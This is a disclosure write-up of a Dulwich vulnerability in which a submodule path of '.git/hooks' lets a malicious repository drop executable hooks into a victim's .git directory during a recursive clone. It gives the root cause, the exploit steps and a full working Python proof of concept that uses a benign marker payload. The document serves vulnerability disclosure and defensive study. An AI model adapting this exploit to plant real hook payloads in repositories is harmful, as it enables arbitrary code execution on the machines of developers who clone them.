# Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

Dulwich submodule_update writes attacker-controlled submodule path '.git/hooks' into victim's .git/hooks with exec bits, yielding RCE on next git/dulwich hook invocation.

- Payout: Research
- Severity: high
- Program: Dulwich
- Found by: tonghuaroot
- Disclosed: 2026-07-02
- CVE: CVE-2026-52726
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gfhv-vqv2-4544
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gfhv-vqv2-4544
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:path-traversal vuln:rce

**Target:** dulwich.porcelain.submodule_update / clone(recurse_submodules=True) and CLI
**Root cause:** Submodule path from tree gitlink and .gitmodules is joined to repo path without validating against .git or traversal, and build_index_from_tree is called without validate_path_element, so a path of '.git/hooks' materializes attacker tree contents (with 0755 modes) inside the parent's .git directory.
**Steps:**
1. Craft attacker bare repo with a tree containing executable file `post-checkout` (mode 0o100755) whose contents are a shell payload.
2. Craft victim parent repo with `.gitmodules` declaring `[submodule "evil"] path = .git/hooks url = <attacker>` and a tree gitlink entry `.git/hooks` (mode 0o160000) pointing at the attacker commit.
3. Victim runs `porcelain.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)` (or `dulwich clone --recurse-submodules`).
4. submodule_update joins `r.path` with `.git/hooks` and calls `build_index_from_tree` with default validator, writing the executable hook into `<worktree>/.git/hooks/post-checkout`.
5. Victim runs any `git`/`dulwich` command invoking that hook (e.g. `git -C VICTIM_WT checkout master`), executing the payload.
**How found:** Reporter recognized dulwich's separately implemented submodule porcelain never received the upstream Git fixes for CVE-2024-32002/CVE-2024-32004, then traced the attacker-controlled gitlink path through iter_cached_submodules into os.path.join and build_index_from_tree, noting the default validator only rejects literal '.git'/'.'/'..' and does not refuse a root_path inside the parent .git.
**Exploitation:** Attacker publishes a repo whose .gitmodules and gitlink both name path `.git/hooks`; when a victim clones with recurse_submodules=True, the attacker submodule tree (executable hook files) is written into the victim's .git/hooks. Any subsequent git or dulwich operation that fires the matching hook (post-checkout, pre-commit, post-merge, etc.) executes the attacker's code in the victim's context.
**Escalation:** Broader than a single hook: any matching hook name fires, and dulwich itself runs pre-commit/commit-msg/post-commit/pre-receive/update/post-receive, so victims using only dulwich are also reachable without upstream Git.
**Insight:** When a project reimplements a feature that upstream hardened (here Git submodule path validation), diff the reimplementation against the upstream fix; also check whether a sink's path validator guards the root_path itself, not just individual path elements.

## Proof of concept (copied exactly from the original report)

**Python PoC building malicious submodule and cloning**

```
import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())
```

